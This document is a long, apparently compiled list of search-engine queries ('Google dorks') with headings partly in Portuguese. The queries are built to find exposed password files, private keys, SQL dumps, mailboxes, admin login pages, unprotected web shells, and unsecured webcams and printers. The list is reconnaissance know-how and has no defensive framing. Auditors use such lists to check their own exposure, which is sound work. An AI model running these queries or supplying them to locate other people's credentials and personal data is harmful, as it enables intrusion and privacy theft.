inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample

inurl:"wvdial.conf" intext:"password"

inurl:/db/main.mdb

inurl:/wwwboard

inurl:ccbill filetype:log

inurl:chap-secrets -cvs

inurl:config.php dbuname dbpass

inurl:filezilla.xml -cvs

inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man

inurl:nuke filetype:sql

inurl:ospfd.conf intext:password -sample -test -tutorial -download

inurl:pap-secrets -cvs

inurl:perform filetype:ini

inurl:secring ext:skr | ext:pgp | ext:bak

inurl:vtund.conf intext:pass -cvs

inurl:zebra.conf intext:password -sample -test -tutorial -download

LeapFTP intitle:"index.of./" sites.ini modified

intitle:index.of master.passwd -----master.passwd-----

intitle:"Index of" .mysql_history -----mysql history files-----

"Your password is * Remember this for later use" -----NickServ registration passwords-----

index.of passlist -----passlist-----

inurl:passlist.txt -----passlist.txt-----

intitle:index.of passwd passwd.bak -----passwd-----

intitle:"Index of..etc" passwd -----passwd / etc-----

intitle:index.of people.lst -----people.lst-----

filetype:conf inurl:psybnc.conf "USER.PASS=" -----psyBNC config files-----

intitle:"Index of" pwd.db -----pwd.db-----

signin filetype:url

intitle:"Index of" spwd.db passwd -pam.conf -----spwd.db / passwd-----

intitle:index.of trillian.ini -----trillian.ini-----

  Diretórios sensíveis

comment:Sensitive Directories***]

"Index Of /network" "last modified"

"index of cgi-bin"

"index of" / picasa.ini

"index of" inurl:recycler

"Index of" rar r01 nfo Modified 2004

"intitle:Index.Of /" stats merchant cgi-* etc

"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" )

"Web File Browser" "Use regular expression"

"Welcome to phpMyAdmin" " Create new database"

allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"

filetype:cfg ks intext:rootpw -sample -test -howto

filetype:torrent torrent

Index of phpMyAdmin

index.of.dcim

index.of.password

index.of.password

intext:"d.aspx?id" || inurl:"d.aspx?id"

intext:"Powered By: TotalIndex" intitle:"TotalIndex"

intitle:"album permissions" "Users who can modify photos" "EVERYBODY"

intitle:"Directory Listing For" intext:Tomcat -intitle:Tomcat

intitle:"HFS /" +"HttpFileServer"

intitle:"Index of *" inurl:"my shared folder" size modified

intitle:"Index of /CFIDE/" administrator

intitle:"Index of c:\Windows"

intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org

intitle:"index of" -inurl:htm -inurl:html mp3

intitle:"Index of" cfide

intitle:"index of" intext:"content.ie5"

intitle:"index of" inurl:ftp (pub | incoming)

intitle:"index.of.personal"

intitle:"webadmin - /*" filetype:php directory filename permission

intitle:index.of (inurl:fileadmin | intitle:fileadmin)

intitle:index.of /AlbumArt_

intitle:index.of abyss.conf

intitle:intranet inurl:intranet +intext:"human resources"

intitle:upload inurl:upload intext:upload -forum -shop -support -w3c

inurl:/pls/sample/admin_/help/

inurl:/tmp

inurl:backup intitle:index.of inurl:admin

inurl:explorer.cfm inurl:(dirpath|This_Directory)

inurl:j2ee/examples/jsp

inurl:ojspdemos

"Index of /backup" -----Look in my backup directories! Please?-----

index.of.private -----private-----

index.of.protected -----protected-----

index.of.secret -----secret-----

index.of.secure -----secure-----

index.of.winnt -----winnt-----

-----------------------------------------------------------------------------------

ERROS

comment:Error messages***-----

"A syntax error has occurred" filetype:ihtml

"access denied for user" "using password"

"An illegal character has been found in the statement" -"previous message"

"ASP.NET_SessionId" "data source="

"Can't connect to local" intitle:warning

"Chatologica MetaSearch" "stack tracking"

"detected an internal error [IBM][CLI Driver][DB2/6000]"

"error found handling the request" cocoon filetype:xml

"Fatal error: Call to undefined function" -reply -the -next

"Incorrect syntax near"

"Incorrect syntax near"

"Internal Server Error" "server at"

"Invision Power Board Database Error"

"ORA-00933: SQL command not properly ended"

"ORA-12541: TNS:no listener" intitle:"error occurred"

"PostgreSQL query failed: ERROR: parser: parse error"

"Supplied argument is not a valid MySQL result resource"

"Syntax error in query expression " -the

"The script whose uid is " "is not allowed to access"

"Unclosed quotation mark before the character string"

"Warning: Cannot modify header information - headers already sent"

"Warning: mysql_query()" "invalid query"

"Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL"

An unexpected token "END-OF-STATEMENT" was found

"Error Diagnostic Information" intitle:"Error Occurred While" -----Coldfusion Error Pages-----

filetype:asp "Custom Error Message" Category Source

filetype:log "PHP Parse error" | "PHP Warning" | "PHP Error"

filetype:php inurl:"logging.php" "Discuz" error

ht://Dig htsearch error

intitle:"the page cannot be found" inetmgr -----IIS 4.0 error messages-----

intitle:"the page cannot be found" "internet information services" -----IIS web server error messages-----

intitle:"500 Internal Server Error" "server at" -----Internal Server Error-----

intext:"Error Message : Error loading required libraries."

intext:"Warning: Failed opening" "on line" "include_path"

intitle:"Error Occurred While Processing Request" +WHERE (SELECT|INSERT) filetype:cfm

intitle:"Error Occurred" "The error occurred in" filetype:cfm

intitle:"Error using Hypernews" "Server Software"

intitle:"Execution of this script not permitted"

intitle:"Under construction" "does not currently have"

intitle:Configuration.File inurl:softcart.exe

"supplied argument is not a valid MySQL result resource" -----MYSQL error message: supplied argument....-----

"mySQL error with query" -----mysql error with query-----

"ORA-00921: unexpected end of SQL command" -----ORA-00921: unexpected end of SQL command-----

"ORA-00936: missing expression" -----ORA-00936: missing expression-----

intext:"Warning: Failed opening" "on line" "include_path" -----PHP application warnings failing "include_path"-----

inurl:sitebuildercontent -----sitebuildercontent-----

inurl:sitebuilderfiles -----sitebuilderfiles-----

inurl:sitebuilderpictures -----sitebuilderpictures-----

databasetype. Code : 80004005. Error Description -----Snitz! forums db path error-----

"You have an error in your SQL syntax near" -----SQL syntax error-----

"Supplied argument is not a valid PostgreSQL result" -----Supplied argument is not a valid PostgreSQL result-----

warning "error on line" php sablotron

intitle:"the page cannot be found" "2004 microsoft corporation" -----Windows 2000 web server error messages-----

-----------------------------------------------------------------------------------

Arquivos de user's

comment:Files containing usernames***-----

"index of" / lck

+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"

intitle:index.of .bash_history -----bash_history files-----

filetype:conf inurl:proftpd.conf -sample

filetype:log username putty

filetype:reg reg +intext:"internet account manager"

filetype:reg reg HKEY_CURRENT_USER username

index.of perform.ini

inurl:admin filetype:asp inurl:userlist

inurl:admin inurl:userlist

inurl:php inurl:hlstats intext:"Server Username"

inurl:root.asp?acs=anon -----OWA Public folders & Address book-----

intitle:index.of .sh_history -----sh_history files-----

comment:Footholds***-----

"adding new user" inurl:addnewuser -"there are no domains"

(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")

+htpasswd +WS_FTP.LOG filetype:log

filetype:php HAXPLORER "Server Files Browser"

intitle:"Web Data Administrator - Login"

intitle:admin intitle:login

inurl:"phpOracleAdmin/php" -download -cvs

inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx

intitle:"PHP Shell *" "Enable stderr" filetype:php -----PHP Shell (unprotected)-----

PHPKonsole PHPShell filetype:php -echo

"Powered by PHPFM" filetype:php -username -----Public PHP FileManagers-----

comment:Pages containing login portals***-----

intitle:"remote assessment" OpenAanval Console

intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"

"IMail Server Web Messaging" intitle:login

"Login - Sun Cobalt RaQ"

"Login to Usermin" inurl:20000

"Microsoft CRM : Unsupported Browser Version"

"OPENSRS Domain Management" inurl:manage.cgi

"pcANYWHERE EXPRESS Java Client"

"please log in"

"powered by CuteNews" "2003..2005 CutePHP"

"SysCP - login"

"ttawlogin.cgi/?action="

"VHCS Pro ver" -demo

"VNC Desktop" inurl:5800

"Web Control Panel" "Enter your password here"

"WebExplorer Server - Login" "Welcome to WebExplorer Server"

"WebSTAR Mail - Please Log In"

(inurl:"ars/cgi-bin/arweb?O=0" | inurl:arweb.jsp) -site:remedy.com -site:mil

"4images Administration Control Panel"

allinurl:"exchange/logon.asp"

ASP.login_aspx "ASP.NET_SessionId"

filetype:cgi inurl:"irc.cgi" | intitle:"CGI:IRC Login" -----CGI:IRC Login-----

Admin intitle:"eZ publish administration" -----ez Publish administration-----

filetype:php inurl:"webeditor.php"

filetype:pl "Download: SuSE Linux Openexchange Server CA"

filetype:r2w r2w

intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"

intext:"Mail admins login here to administrate your domain."

intext:"Storage Management Server for" intitle:"Server Administration"

intitle:"Athens Authentication Point"

intitle:"ColdFusion Administrator Login"

intitle:"Dell Remote Access Controller"

intitle:"ePowerSwitch Login"

intitle:"Icecast Administration Admin Page"

intitle:"ISPMan : Unauthorized Access prohibited"

intitle:"ITS System Information" "Please log on to the SAP System"

intitle:"Kurant Corporation StoreSense" filetype:bok Posts: 23 filetype:bok intitle:"Kurant Corporation StoreSense"

intitle:"Login - powered by Easy File Sharing Web Server"

intitle:"MailMan Login"

intitle:"microsoft certificate services" inurl:certsrv

intitle:"MikroTik RouterOS Managing Webpage"

intitle:"MX Control Console" "If you can't remember"

intitle:"Novell Web Services" intext:"Select a service and a language."

intitle:"oMail-admin Administration - Login" -inurl:omnis.ch

intitle:"Philex 0.2*" -script -site:freelists.org

intitle:"PHP Advanced Transfer" inurl:"login.php"

intitle:"php icalendar administration" -site:sourceforge.net

intitle:"php icalendar administration" -site:sourceforge.net

intitle:"please login" "your password is *"

intitle:"Remote Desktop Web Connection" inurl:tsweb

intitle:"teamspeak server-administration

intitle:"Tomcat Server Administration"

intitle:"TUTOS Login"

intitle:"vhost" intext:"vHost . 2000-2004"

intitle:"Virtual Server Administration System"

intitle:"VitalQIP IP Management System"

intitle:"VNC viewer for Java"

intitle:"WebLogic Server" intitle:"Console Login" inurl:console

intitle:"Welcome Site/User Administrator" "Please select the language" -demos

intitle:"welcome to netware *" -site:novell.com

intitle:"ZyXEL Prestige Router" "Enter password"

intitle:Group-Office "Enter your username and password to login"

intitle:Login * Webmailer

intitle:Login intext:"RT is © Copyright"

intitle:Node.List Win32.Version.3.11

intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"

intitle:plesk inurl:login.php3

inurl:"1220/parse_xml.cgi?"

inurl:"631/admin" (inurl:"op=*") | (intitle:CUPS)

inurl:":10000" intext:webmin

inurl:"Activex/default.htm" "Demo"

inurl:"calendar.asp?action=login"

inurl:"gs/adminlogin.aspx"

inurl:"typo3/index.php?u=" -demo

inurl:"usysinfo?login=true"

inurl:"utilities/TreeView.asp"

inurl:"webadmin" filetype:nsf

inurl:/admin/login.asp

inurl:/cgi-bin/sqwebmail?noframes=1

inurl:/Citrix/Nfuse17/

inurl:/dana-na/auth/welcome.html

inurl:/eprise/

inurl:/webedit.* intext:WebEdit Professional -html

inurl:1810 "Oracle Enterprise Manager"

inurl:administrator "welcome to mambo"

inurl:cgi-bin/ultimatebb.cgi?ubb=login

inurl:confixx inurl:login|anmeldung

inurl:coranto.cgi intitle:Login (Authorized Users Only)

inurl:default.asp intitle:"WebCommander"

inurl:irc filetype:cgi cgi:irc

inurl:login filetype:swf swf

inurl:login.asp

inurl:login.cfm

inurl:login.php "SquirrelMail version"

inurl:metaframexp/default/login.asp | intitle:"Metaframe XP Login"

inurl:mewebmail

inurl:names.nsf?opendatabase

inurl:orasso.wwsso_app_admin.ls_login

inurl:postfixadmin intitle:"postfix admin" ext:php

inurl:search/admin.php

inurl:WCP_USER

Login ("Powered by Jetbox One CMS ™" | "Powered by Jetstream © *")

Novell NetWare intext:"netware management portal version"

inurl:"exchange/logon.asp" OR intitle:"Microsoft Outlook Web Access - Logon" -----Outlook Web Access (a better way)-----

-Login inurl:photopost/uploadphoto.php -----PhotoPost PHP Upload-----

inurl:PHPhotoalbum/statistics intitle:"PHPhotoalbum - Statistics" -----PHPhotoalbum Statistics-----

intitle:"PHPhotoalbum - Upload" | inurl:"PHPhotoalbum/upload" -----PHPhotoalbum Upload-----

filetype:php login (intitle:phpWebMail|WebMail) -----phpWebMail-----

+"Powered by INDEXU" inurl:(browse|top_rated|power) -----Powered by INDEXU-----

filetype:cfg login "LoginServer=" -----Ultima Online loginservers-----

uploadpics.php?did= -forum -----W-Nailer Upload Area-----

Informações Senciveis de ADM online

comment:Sensitive Online Shopping Info***-----

"More Info about MetaCart Free"

inurl:"/database/comersus.mdb" -----Comersus.mdb database-----

inurl:midicart.mdb

inurl:shopdbtest.asp

POWERED BY HIT JAMMER 1.0!

site:ups.com intitle:"Ups Package tracking" intext:"1Z ### ### ## #### ### #"

inurl:"shopadmin.asp" "Shop Administrators only" -----VP-ASP Shop Administrators only-----

comment:Various online devices***-----

"Copyright (c) Tektronix, Inc." "printer status"

"intitle:Cisco Systems, Inc. VPN 3000 Concentrator"

"please visit" intitle:"i-Catcher Console" Copyright "iCode Systems"

"powered by webcamXP" "Pro|Broadcast"

"Starting SiteZAP 6.0"

("Fiery WebTools" inurl:index2.html) | "WebTools enable * * observe, *, * * * flow * print jobs"

inurl:sts_index.cgi -----Aficio 1022-----

allintitle:Brains, Corp. camera

allinurl:index.htm?cus?audio

inurl:indexFrame.shtml Axis -----Axis Network Cameras-----

axis storpoint "file view" inurl:/volumes/

camera linksys inurl:main.cgi

intitle:"remote ui:top page" -----Canon ImageReady machines-----

intitle:liveapplet inurl:LvAppl -----Canon Webview netcams-----

filetype:cgi transcoder.cgi

intext:"MaiLinX Alert (Notify)" -site:networkprinters.com

intext:"Please enter correct password for Administrator Access. Thank you" "Copyright © 2003 SMC Networks, Inc. All rights reserved."

intext:"Ready with 10/100T Ethernet"

intext:"UAA (MSB)" Lexmark -ext:pdf

intext:"Videoconference Management System" ext:htm

intitle:"AudioReQuest.web.server"

intitle:"axis storpoint CD" intitle:"ip address"

intitle:"BorderManager Information alert"

intitle:"Browser Launch Page"

intitle:"Cayman-DSL.home"

intitle:"DEFAULT_CONFIG - HP"

intitle:"DEFAULT_CONFIG - HP"

intitle:"dreambox web"

intitle:"DVR Web client"

intitle:"EpsonNet WebAssist Rev"

intitle:"EverFocus.EDSR.applet"

intitle:"EvoCam" inurl:"webcam.html"

intitle:"Home" "Xerox Corporation" "Refresh Status"

intitle:"ipcop - main"

intitle:"iVISTA.Main.Page"

intitle:"lantronix web-manager"

intitle:"Live NetSnap Cam-Server feed"

intitle:"Live View / - AXIS"

intitle:"my webcamXP server!" inurl:":8080"

intitle:"Network Print Server" filetype:shtm ( inurl:u_printjobs | inurl:u_server | inurl:a_server | inurl:u_generalhelp | u_printjobs )

intitle:"Network Print Server" intext:"http://www.axis.com" filetype:shtm

intitle:"Setup Home" "You will need * log in before * * change * settings"

intitle:"Sipura.SPA.Configuration" -.pdf

intitle:"Smoothwall Express" inurl:cgi-bin "up * days"

intitle:"Spam Firewall" inurl:"8000/cgi-bin/index.cgi"

intitle:"SpeedStream Router Management Interface"

intitle:"supervisioncam protocol"

intitle:"switch home page" "cisco systems" "Telnet - to"

intitle:"switch login" "IBM Fast Ethernet Desktop"

intitle:"The AXIS 200 Home Page"

intitle:"toshiba network camera - User Login"

intitle:"V-Gear BEE"

intitle:"View and Configure PhaserLink"

intitle:"Brother" intext:"View Configuration" intext:"Brother Industries, Ltd."

intitle:"Connection Status" intext:"Current login"

intitle:Linksys site:ourlinksys.com

intitle:RICOH intitle:"Network Administration"

intitle:webeye inurl:login.ml

inurl:"8003/Display?what="

inurl:":631/printers" -php -demo

inurl:"ipp/pdisplay.htm"

inurl:"level/15/exec/-/show"

inurl:"next_file=main_fs.htm" inurl:img inurl:image.cgi

inurl:"printer/main.html" intext:"settings"

inurl:axis-cgi

inurl:camctrl.cgi

inurl:hp/device/this.LCDispatcher

inurl:na_admin

inurl:netw_tcp.shtml

inurl:TiVoConnect?Command=QueryServer

inurl:webArch/mainFrame.cgi

intitle:"network administration" inurl:"nic" -----Konica Network Printer Administration-----

(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext:"Open Menu" Shift-Reload -----Mobotix netcams-----

intitle:"Live View / - AXIS" | inurl:view/view.sht -----More Axis netcams !-----

inurl:"ViewerFrame?Mode=" -----Panasonic Network Cameras-----

intitle:"WJ-NT104 Main Page" -----Panasonic WJ-NT104 netcams-----

intext:centreware inurl:status -----Phasers 4500/6250/8200/8400-----

intitle:flexwatch intext:"Home page ver" -----Seyeon FlexWATCH cameras-----

site:.viewnetcam.com -www.viewnetcam.com

intitle:snc-z20 inurl:home/ -----Sony SNC-RZ20 network cameras-----

intitle:snc-rz30 inurl:home/ -----Sony SNC-RZ30 Network Cameras-----

WebControl intitle:"AMX NetLinx"

"Phaser 6250" "Printer Neighborhood" "XEROX CORPORATION" -----Xerox Phaser 6250-----

"Phaser 8200" "© Xerox" "refresh" " Email Alerts" -----Xerox Phaser 8200-----

"Phaser® 740 Color Printer" "printer named: " -----Xerox Phaser® 740 Color Printer-----

"Phaser® 840 Color Printer" "Current Status" "printer named:" -----Xerox Phaser® 840 Color Printer-----

Arquivos com informaçoes LOG's

comment:Files containing juicy info***]

intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu

"#mysql dump" filetype:sql

"allow_call_time_pass_reference" "PATH_INFO"

"Certificate Practice Statement" inurl:(PDF | DOC)

"Generated by phpSystem"

"generated by wwwstat"

"Host Vulnerability Summary Report"

"HTTP_FROM=googlebot" googlebot.com "Server_Software="

"Index of" / "chat/logs"

"Installed Objects Scanner" inurl:default.asp

"Mecury Version" "Infastructure Group"

"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log

"Most Submitted Forms and Scripts" "this section"

"Network Vulnerability Assessment Report"

"not for distribution" confidential

"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"

"phpMyAdmin" "running on" inurl:"main.php"

"produced by getstats"

"Request Details" "Control Tree" "Server Variables"

"robots.txt" "Disallow:" filetype:txt

"Running in Child mode"

"sets mode: +p"

"sets mode: +s"

"Thank you for your order" +receipt

"This is a Shareaza Node"

"This report was generated by WebLog"

( filetype:mail | filetype:eml | filetype:mbox | filetype:mbx ) intext:password|subject

(inurl:"robot.txt" | inurl:"robots.txt" ) intext:disallow filetype:txt

+":8080" +":3128" +":80" filetype:txt

+"HSTSNR" -"netop.com"

-site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp

94FBR "ADOBE PHOTOSHOP"

buddylist.blt -----AIM buddy lists-----

allinurl:/examples/jsp/snp/snoop.jsp

allinurl:servlet/SnoopServlet

intitle:index.of cgiirc.config -----cgiirc.conf-----

inurl:cgiirc.config -----cgiirc.conf-----

data filetype:mdb -site:gov -site:mil

e-mail address filetype:csv csv -----exported email addresses-----

ext:asp inurl:pathto.asp

ext:cgi inurl:editcgi.cgi inurl:file=

ext:conf inurl:rsyncd.conf -cvs -man

ext:conf NoCatAuth -cvs

ext:dat bpk.dat

ext:gho gho

ext:ini intext:env.ini

ext:ldif ldif

ext:log "Software: Microsoft Internet Information Services *.*"

ext:mdb inurl:*.mdb inurl:fpdb shop.mdb

ext:nsf nsf -gov -mil

ext:pqi pqi -database

ext:reg "username=*" putty

ext:txt "Final encryption key"

ext:txt inurl:dxdiag

ext:vmdk vmdk

ext:vmx vmx

filetype:asp DBQ=" * Server.MapPath("*.mdb")

filetype:bkf bkf

filetype:blt "buddylist"

filetype:blt blt +intext:screenname

filetype:cfg auto_inst.cfg

filetype:cnf inurl:_vti_pvt access.cnf

filetype:conf inurl:firewall -intitle:cvs

filetype:config web.config -CVS

filetype:ctt Contact

filetype:ctt ctt messenger

filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"

filetype:fp3 fp3

filetype:fp5 fp5 -site:gov -site:mil -"cvs log"

filetype:fp7 fp7

filetype:inf inurl:capolicy.inf

filetype:lic lic intext:key

filetype:log access.log -CVS

filetype:mbx mbx intext:Subject

filetype:myd myd -CVS

filetype:ns1 ns1

filetype:ora ora

filetype:pdb pdb backup (Pilot | Pluckerdb)

filetype:php inurl:index inurl:phpicalendar -site:sourceforge.net

filetype:pot inurl:john.pot

filetype:pst inurl:"outlook.pst"

filetype:pst pst -from -to -date

filetype:qbb qbb

filetype:rdp rdp

filetype:reg "Terminal Server Client"

filetype:vcs vcs

filetype:wab wab

filetype:xls -site:gov inurl:contact

filetype:xls inurl:"email.xls"

intitle:"Index of" finance.xls -----Financial spreadsheets: finance.xls-----

intitle:index.of finances.xls -----Financial spreadsheets: finances.xls-----

intitle:"Ganglia" "Cluster Report for" -----Ganglia Cluster Reports-----

intitle:index.of haccess.ctl -----haccess.ctl (one way)-----

filetype:ctl Basic -----haccess.ctl (VERY reliable)-----

intitle:"Index of" dbconvert.exe chats -----ICQ chat logs, please...-----

filetype:log cron.log

intext:"Session Start * * * *:*:* *" filetype:log

intext:"Tobias Oetiker" "traffic analysis"

intext:(password | passcode) intext:(username | userid | user) filetype:csv

intext:gmail invite intext:http://gmail.google.com/gmail/a

intext:SQLiteManager inurl:main.php

intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html)

intitle:"AppServ Open Project" -site:www.appservnetwork.com

intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "2003-2004 weppos"

intitle:"Big Sister" +"OK Attention Trouble"

intitle:"edna:streaming mp3 server" -forums

intitle:"FTP root at"

intitle:"index of" +myd size

intitle:"Index Of" -inurl:maillog maillog size

intitle:"Index Of" cookies.txt size

intitle:"index of" mysql.conf OR mysql_config

intitle:"Index of" upload size parent directory

intitle:"index.of *" admin news.asp configview.asp

intitle:"index.of" .diz .nfo last modified

intitle:"Multimon UPS status page"

intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php )

intitle:"PhpMyExplorer" inurl:"index.php" -cvs

intitle:"statistics of" "advanced web statistics"

intitle:"System Statistics" +"System and Network Information Center"

intitle:"Usage Statistics for" "Generated by Webalizer"

intitle:"wbem" compaq login

intitle:"Web Server Statistics for ****"

intitle:"web server status" SSH Telnet

intitle:"welcome.to.squeezebox"

intitle:admin intitle:login

intitle:index.of "Apache" "server at"

intitle:index.of cleanup.log

intitle:index.of dead.letter

intitle:index.of inbox

intitle:index.of inbox dbx

intitle:index.of ws_ftp.ini

intitle:intranet inurl:intranet +intext:"phone"

inurl:"/axs/ax-admin.pl" -script

inurl:"/cricket/grapher.cgi"

inurl:"bookmark.htm"

inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM

inurl:"newsletter/admin/"

inurl:"newsletter/admin/" intitle:"newsletter admin"

inurl:"putty.reg"

inurl:"smb.conf" intext:"workgroup" filetype:conf conf

inurl:*db filetype:mdb

inurl:/_layouts/settings

inurl:admin filetype:xls

inurl:admin intitle:login

inurl:backup filetype:mdb

inurl:cgi-bin/printenv

inurl:cgi-bin/testcgi.exe "Please distribute TestCGI"

inurl:changepassword.asp

inurl:ds.py

inurl:email filetype:mdb

inurl:fcgi-bin/echo

inurl:forum filetype:mdb

inurl:forward filetype:forward -cvs

inurl:getmsg.html intitle:hotmail

inurl:log.nsf -gov

inurl:main.php phpMyAdmin

inurl:main.php Welcome to phpMyAdmin

inurl:netscape.hst

inurl:netscape.hst

inurl:netscape.ini

inurl:odbc.ini ext:ini -cvs

inurl:perl/printenv

inurl:php.ini filetype:ini

inurl:preferences.ini "[emule]"

inurl:profiles filetype:mdb

inurl:report "EVEREST Home Edition "

inurl:server-info "Apache Server Information"

inurl:server-status "apache"

inurl:snitz_forums_2000.mdb

inurl:ssl.conf filetype:conf

inurl:tdbin

inurl:vbstats.php "page generated"

inurl:ipsec.conf -intitle:manpage -----ipsec.conf-----

inurl:ipsec.secrets -history -bugs -----ipsec.secrets-----

inurl:ipsec.secrets "holds shared secrets" -----ipsec.secrets-----

inurl:"/names.nsf?OpenDatabase" -----Lotus Domino address books-----

mail filetype:csv -site:gov intext:name

filetype:mny mny -----Microsoft Money Data Files-----

intitle:index.of mt-db-pass.cgi -----mt-db-pass.cgi files-----

"# Dumping data for table (username|user|users|password)" -----MySQL tabledata dumps-----

intitle:index.of mystuff.xml -----mystuff.xml - Trillian data files-----

inurl:/public/?Cmd=contents -----OWA Public Folders (direct view)-----

filetype:ctt "msn" -----Peoples MSN contact lists-----

php-addressbook "This is the addressbook for *" -warning

intitle:phpinfo "PHP Version" -----phpinfo()-----

"# phpMyAdmin MySQL-Dump" filetype:txt -----phpMyAdmin dumps-----

"# phpMyAdmin MySQL-Dump" "INSERT INTO" -"the" -----phpMyAdmin dumps-----

BEGIN (CERTIFICATE|DSA|RSA) filetype:csr -----private key files (.csr)-----

BEGIN (CERTIFICATE|DSA|RSA) filetype:key -----private key files (.key)-----

filetype:QDF QDF -----Quicken data files-----

intitle:index.of robots.txt -----robots.txt-----

site:edu admin grades

"# Dumping data for table" -----SQL data dumps-----

"cacheserverreport for" "This analysis was produced by calamaris" -----Squid cache server reports-----

filetype:conf inurl:unrealircd.conf -cvs -gentoo -----Unreal IRCd-----

intitle:"Welcome to ntop!" -----Welcome to ntop!-----

INFORMAÇÕES DE SERVES

comment:Pages containing network or vulnerability data***-----

filetype:log intext:"ConnectionManager2"

"apricot - admin" 00h

"Network Host Assessment Report" "Internet Scanner"

"Output produced by SysWatch *"

"Phorum Admin" "Database Connection" inurl:forum inurl:admin

"Powered by phpOpenTracker" Statistics

"powered | performed by Beyond Security's Automated Scanning" -kazaa -example

"SnortSnarf alert page"

"This file was generated by Nessus"

"this proxy is working fine!" "enter *" "URL***" * visit

"This report lists" "identified by Internet Scanner"

"Traffic Analysis for" "RMON Port * on unit *"

"Version Info" "Boot Version" "Internet Settings"

((inurl:ifgraph "Page generated at") OR ("This page was built using ifgraph"))

ACID "by Roman Danyliw" filetype:php -----Analysis Console for Incident Databases 12-Jul-2004 866-----

ext:cfg radius.cfg

ext:cgi intext:"nrg-" " This web page was created on "

filetype:pdf "Assessment Report" nessus

filetype:php inurl:ipinfo.php "Distributed Intrusion Detection System"

filetype:php inurl:nqt intext:"Network Query Tool"

filetype:vsd vsd network -samples -examples

intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm

intitle:"ADSL Configuration page"

intitle:"Azureus : Java BitTorrent Client Tracker"

intitle:"BNBT Tracker Info"

intitle:"Microsoft Site Server Analysis"

intitle:"PHPBTTracker Statistics" | intitle:"PHPBT Tracker Statistics"

intitle:"start.managing.the.device" remote pbx acc

intitle:"sysinfo * " intext:"Generated by Sysinfo * written by The Gamblers."

intitle:"twiki" inurl:"TWikiUsers"

inurl:"/catalog.nsf" intitle:catalog

inurl:"install/install.php"

inurl:"map.asp?" intitle:"WhatsUp Gold"

inurl:"sitescope.html" intitle:"sitescope" intext:"refresh" -demo

inurl:/adm-cfgedit.php

inurl:/cgi-bin/finger? "In real life"

inurl:/cgi-bin/finger? Enter (account|host|user|username)

inurl:phpSysInfo/ "created by phpsysinfo"

inurl:portscan.php "from Port"|"Port Range"

inurl:statrep.nsf -gov

inurl:testcgi xitami

inurl:webutil.pl

"Looking Glass" (inurl:"lg/" | inurl:lookingglass) -----Looking Glass-----

intitle:That.Site.Running Apache

ARQUIVOS SENCIVEIS

 comment:Vulnerable files***-----

filetype:pl -intext:"/usr/bin/perl" inurl:webcal (inurl:webcal | inurl:add | inurl:delete | inurl:config)

"File Upload Manager v1.3" "rename to"

"Powered by Land Down Under 601"

"powered by YellDL"

ext:asp "powered by DUForum" inurl:(messages|details|login|default|register) -site:duware.com

ext:asp inurl:DUgallery intitle:"3.0" -site:dugallery.com -site:duware.com

ext:cgi inurl:ubb6_test

ezBOO "Administrator Panel" -cvs

filetype:cgi inurl:cachemgr.cgi

filetype:cnf my.cnf -cvs -example

filetype:inc inc intext:setcookie

filetype:lit lit (books|ebooks)

filetype:mdb inurl:"news/news"

filetype:php inurl:"viewfile" -"index.php" -"idfil

filetype:wsdl wsdl

intitle:gallery inurl:setup "Gallery configuration" -----Gallery configuration setup files-----

intitle:"ASP FileMan" Resend -site:iisworks.com

intitle:"Directory Listing" "tree view"

intitle:"Index of /" modified php.exe

intitle:"PHP Explorer" ext:php (inurl:phpexplorer.php | inurl:list.php | inurl:browse.php)

intitle:"phpremoteview" filetype:php "Name, Size, Type, Modify"

intitle:mywebftp "Please enter your password"

inurl:" WWWADMIN.PL" intitle:"wwwadmin"

inurl:"nph-proxy.cgi" "Start browsing through this CGI-based proxy"

inurl:"plog/register.php"

inurl:cgi.asx?StoreID

inurl:changepassword.cgi -cvs

inurl:click.php intext:PHPClickLog

inurl:php.exe filetype:exe -example.com

inurl:robpoll.cgi filetype:cgi

link:http://www.toastforums.com/

"create the Super User" "now by clicking here" -----PHP-Nuke - create super user right now !-----

intitle:"Index of" _vti_inf.html

intitle:"Index of" service.pwd

intitle:"Index of" users.pwd

intitle:"Index of" authors.pwd

intitle:"Index of" administrators.pwd

intitle:"Index of" shtml.dll

intitle:"Index of" shtml.exe

intitle:"Index of" fpcount.exe

intitle:"Index of" default.asp

intitle:"Index of" showcode.asp

intitle:"Index of" sendmail.cfm

intitle:"Index of" getFile.cfm

intitle:"Index of" imagemap.exe

intitle:"Index of" test.bat

intitle:"Index of" msadcs.dll

intitle:"Index of" htimage.exe

intitle:"Index of" counter.exe

intitle:"Index of" browser.inc

intitle:"Index of" hello.bat

intitle:"Index of" default.asp\\

intitle:"Index of" dvwssr.dll

intitle:"Index of" dvwssr.dll

intitle:"Index of" dvwssr.dll

intitle:"Index of" cart32.exe

intitle:"Index of" add.exe

intitle:"Index of" index.JSP

intitle:"Index of" index.jsp

intitle:"Index of" SessionServlet

intitle:"Index of" shtml.dll

intitle:"Index of" index.cfm

intitle:"Index of" page.cfm

intitle:"Index of" shtml.exe

intitle:"Index of" web_store.cgi

intitle:"Index of" shop.cgi

intitle:"Index of" upload.asp

intitle:"Index of" default.asp

intitle:"Index of" pbserver.dll

intitle:"Index of" phf

intitle:"Index of" test-cgi

intitle:"Index of" finger

intitle:"Index of" Count.cgi

intitle:"Index of" jj

